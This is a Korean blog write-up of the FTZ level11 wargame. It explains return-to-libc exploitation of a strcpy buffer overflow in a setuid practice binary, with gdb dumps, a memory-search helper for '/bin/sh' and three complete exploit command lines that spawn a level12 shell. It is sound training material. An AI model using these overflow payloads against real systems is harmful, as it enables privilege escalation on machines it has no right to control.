FTZ level11 #3 ( RTL )

c0wb3ll ㅣ 2020. 3. 4. 07:19

FTZ Level11 #3 ( RTL )

문제

#include <stdio.h>
#include <stdlib.h>

int main( int argc, char *argv[] )
{
    char str[256];

    setreuid( 3092, 3092 );
    strcpy( str, argv[1] );
    printf( str );
}

FTZ level 11의 소스코드이다. 이 소스코드에서 취약한 점을 발견하여 상위권한( level12 )을 얻어 비밀번호를 알아내야 한다.


취약점

int main( int argc, char *argv[] )
{
    char str[256];

    #setreuid( 3092, 3092 );
    strcpy( str, argv[1] );
    #printf( str );
}
  • 인자 입력은 argv로 받는다. 또한 길이의 제한은 없다.
  • str 의 크기는 256이다.
  • strcpy() 함수를 통해 argv에서 입력받은 인자를 str로 가져온다. 정해진 최대 바이트는 없다.

따라서 argv에서 인자 입력을 할 때 256byte 이상의 문자열을 입력하면 str의 버퍼 크기를 넘어 메모리를 덮어씌울 수 있다.


공격 시나리오

level11은 취약한 부분이 많아서 다양한 공격을 할 수 있는 레벨이다.

  • 환경 변수를 이용한 공격
  • Nop Sled 기법을 이용한 공격
  • RTL 기법을 이용한 공격 <- 이번 포스팅
  • Chanining RTL 기법을 이용한 공격
  • FSB ( Format String Bug )를 이용한 공격

 


RTL ( Return To Library )

RTL : Return To Library의 약자로 공유라이브러리 함수의 주소를 RET에 넣어 코드에서 사용되지 않은 함수를 실행시키는 공격기법이다.

자세한 동작 과정을 살펴보기 위해 PLT 와 GOT를 알아보자.

PLT : Procedure Linkage Table의 약자로 사용자가 만든 함수는 PLT를 참조할 필요가 없지만 외부 라이브러리에서 가져다 쓸 경우 참조한다.

GOT : Global Offset Talbe의 약자로 함수들의 주소를 담고있는 테이블이다. 라이브러리에서 함수를 호출할 때 PLT가 GOT를 참조하여 함수를 실행시킨다.

image


cdecl 함수 호출 규약

Cdecl : C declaration의 약자

  1. Cdecl은 인텔 x86 기반 시스템의 C/C++에서 사용되는 경우가 많다.
  2. 기본적으로 Linux kernel에서는 Cdecl 호출 규약을 사용한다.
  3. 다음과 같은 특징이 있다.
    • 함수의 인자 값을 Stack에 저장하며, 오른쪽에서 왼쪽 순서로 스택에 저장한다.
    • 함수의 Return 값은 EAX 레지스터에 저장된다.
    • 사용된 Stack 정리는 해당 함수를 호출한 함수가 정리한다.
#include <stdlib.h>
#include <stdio.h>

void vuln(int a,int b,int c,int d){
        printf("%d, %d, %d, %d",a,b,c,d);
}

void main(){
        vuln(1,2,3,4);
}

위 코드를 cdecl 형태의 assembly 로 변환하면 다음과 같다.

[level11@ftz tmp]$ gdb cdecl
GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)
Copyright 2003 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux-gnu"...
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x0804834c <main+0>:    push   ebp
0x0804834d <main+1>:    mov    ebp,esp
0x0804834f <main+3>:    sub    esp,0x8
0x08048352 <main+6>:    and    esp,0xfffffff0
0x08048355 <main+9>:    mov    eax,0x0
0x0804835a <main+14>:    sub    esp,eax
0x0804835c <main+16>:    push   0x4
0x0804835e <main+18>:    push   0x3
0x08048360 <main+20>:    push   0x2
0x08048362 <main+22>:    push   0x1
0x08048364 <main+24>:    call   0x8048328 <vuln>
0x08048369 <main+29>:    add    esp,0x10
0x0804836c <main+32>:    leave  
0x0804836d <main+33>:    ret    
0x0804836e <main+34>:    nop    
0x0804836f <main+35>:    nop    
End of assembler dump.
(gdb) 

main+16 ~ main+22를 보면 인자를 미리 스택에 쌓아두는 것을 알 수 있다.

(gdb) disas vuln
Dump of assembler code for function vuln:
0x08048328 <vuln+0>:    push   ebp
0x08048329 <vuln+1>:    mov    ebp,esp
0x0804832b <vuln+3>:    sub    esp,0x8
0x0804832e <vuln+6>:    sub    esp,0xc
0x08048331 <vuln+9>:    push   DWORD PTR [ebp+20]
0x08048334 <vuln+12>:    push   DWORD PTR [ebp+16]
0x08048337 <vuln+15>:    push   DWORD PTR [ebp+12]
0x0804833a <vuln+18>:    push   DWORD PTR [ebp+8]
0x0804833d <vuln+21>:    push   0x804841c
0x08048342 <vuln+26>:    call   0x8048268 <printf>
0x08048347 <vuln+31>:    add    esp,0x20
0x0804834a <vuln+34>:    leave  
0x0804834b <vuln+35>:    ret    
End of assembler dump.
(gdb) 
(gdb) x/x $ebp+20
0xbfffe24c:    0x00000004
(gdb) x/x $ebp+16
0xbfffe248:    0x00000003
(gdb) x/x $ebp+12
0xbfffe244:    0x00000002
(gdb) x/x $ebp+8 
0xbfffe240:    0x00000001
(gdb) x/x $ebp+4
0xbfffe23c:    0x08048369
(gdb) 

위와 같이 일일이 확인하여 ebp+20부터 4라는 값이 오른쪽에서 왼쪽순서로 d,c,b,a라는 변수에 들어가는 것을 확인할 수 있다. 또한 ebp+4에는 돌아갈 리턴값 주소가 들어있다.


풀이

image

그러면 대충 이러한 시나리오를 짤 수 있을 것 같다. str에서 부터 A로 채운 뒤 RET값을 system함수의 주소를 입력하고 그 뒤에 /bin/sh의 주소를 인자로 넘겨주면 될 것 같다.

참고로 system() 은 system("명령어")로 문자열을 받아서 그것을 실행시키는 함수이다.

그럼 우리가 알아내야 하는 것은

  • system()함수의 위치
  • 명령어 (/bin/sh)을 전달할 방법이다.

1. system()함수의 위치

(gdb) print system
$1 = {<text variable, no debug info>} 0x4203f2c0 <system>
(gdb) 

gdb에서 print system을 통해 system함수의 위치를 알아낼 수 있다.

2. 명령어 (/bin/sh)을 전달할 방법

구글링을 해본 결과 한 블로그에서 명령어를 전달하는 법을 잘 정리해 두었다.

  • 프로그램으로 찾을 때까지 돌리기
  • 심볼릭링크를 이용하기
  • 환경변수로 "/bin/sh" 문자열 등록하기
1. 프로그램으로 찾을 때까지 돌리기
#include<stdio.h>
int main()
{
 long shell = [system()시작주소];
 while( memcmp( (void*) shell, "/bin/sh", 8) )
 {
  shell++;
 }

 printf("0x%x\n", shell);
 return 0;
}

shell과 메모리 주소를 비교하여 /bin/sh라는 문자열을 가지고 있으면 0을 반환하여 그 주소를 뿌려주는 프로그램이다.

[level11@ftz tmp]$ ./search
0x42127ea4
[level11@ftz tmp]$ 

결과창은 다음과 같다.

2. 심볼릭 링크를 이용하기

고정된 메모리에 등록된 CODE영역에서 0x00("NULL")을 찾아준다. 그 이유는 NULL을 만나면 문자열이 끝났다고 파악하기 때문이다.

[level11@ftz tmp]$ gdb attackme 
GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)
Copyright 2003 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux-gnu"...
(gdb) set disassembly-flavor intel
(gdb) x/100x main
0x8048470 <main>:    0x81e58955    0x000108ec    0x08ec8300    0x000c1468
0x8048480 <main+16>:    0x0c146800    0xc1e80000    0x83fffffe    0xec8310c4
0x8048490 <main+32>:    0x0c458b08    0xff04c083    0xf8858d30    0x50fffffe
0x80484a0 <main+48>:    0xfffeb7e8    0x10c483ff    0x8d0cec83    0xfffef885
0x80484b0 <main+64>:    0x85e850ff    0x83fffffe    0xc3c910c4    0x90909090

나는 여기서 0x000c1468 에 0x000c를 이용하려고 한다. 00으로 끝나는 걸 찾으면서 왜 0c로 끝나냐 할 수 있지만 리틀엔디언으로 들어가 있기때문에 0c00이므로 00으로 끝나는 것이 맞다.

0x0804847e가 0c의 주소가 될 것이다.

그럼 이제 심볼릭 링크를 추가해보자.

[level11@ftz tmp]$ ln -s /bin/sh `python -c 'print "\x0c"'`

이렇게 하면 이제 0c라는 파일이 실행되면 /bin/sh이 실행될 것이다.

하지만 아직 이 파일의 경로가 지정되어있지 않기 때문에 제대로 실행되지 않는다.. 따라서 환경변수로 0c라는 파일이 실행될 수 있도록 경로를 추가해주자.

[level11@ftz tmp]$ export PATH=$PATH::/home/level11/tmp
[level11@ftz tmp]$ ls
?  addenv  addenv.c  attackme  cdecl  cdecl.c  env  env.c  search  search.c
[level11@ftz tmp]$ ./?
[level11@ftz tmp]$ 

그럼 다음과 같이 ?라는 파일이 생겼을 텐대 한번 실행해보자.

실행하면 아무 변화가 없을 것이다. 그러나 화살표 위아래키를 눌러보면 이전에 실행했던 명령창이 나오지 않는다. 이는 userid가 같아서 바뀐것이 없는것처럼 보일 뿐 /bin/sh이 제대로 실행되었다는 뜻이다.

여기까지 했으면 이제 \x0c라는 파일로 /bin/sh을 실행할 수 있다.

3. 환경변수로 "/bin/sh"문자열 등록하기

음... 별거 없다 전에 드록했던대로 등록하고 주소를 알아내면 된다.

[level11@ftz tmp]$ export bin="/bin/sh"
[level11@ftz tmp]$ vim sear.c
[level11@ftz tmp]$ gcc -o sear sear.c 
[level11@ftz tmp]$ ./sear
0xbffffe6d
[level11@ftz tmp]$ 

0xbffffe6d라는 주소를 얻었다.

익스코드

자 그럼 익스를 해봅시다.

[level11@ftz level11]$ ./attackme `python -c "print 'A'*268 + 'system()시작주소' + 'AAAA' + '명령어 주소'"`

로 짜면 된다. 4byte짜리 AAAA는 원래는 ebp+4에 위치에는 돌아갈 리턴값주소가 들어있어야 하는데 필요없으니 버리는것이다.

이제 위에서 얻어온 주소들을 대입해보자.

  1. [level11@ftz level11]$ ./attackme `python -c "print 'A'*268 + '\xc0\xf2\x03\x42' + 'AAAA' + '\xa4\x7e\x12\x42'"`
    sh-2.05b$ my-pass
    
    Level12 Password is "비밀번호패스워드".
    
    sh-2.05b$ 
  2. [level11@ftz level11]$ ./attackme `python -c "print 'A'*268 + '\xc0\xf2\x03\x42' + 'AAAA' + '\x7e\x84\x04\x08'"`
    [level12@ftz level11]$ my-pass
    
    Level12 Password is "패스워드비밀번호".
    
    [level12@ftz level11]$
  3. [level11@ftz level11]$ ./attackme `python -c "print 'A'*268 + '\xc0\xf2\x03\x42' + 'AAAA' + '\x6d\xfe\xff\xbf'"`
    sh-2.05b$ my-pass
    
    Level12 Password is "비패밀스번워호드".
    
    sh-2.05b$

이해하면서 재밌었던것 같다. 잊어먹지 않도록 자주 찾아봐야 겠다. 다음은 Chaning RTL인가?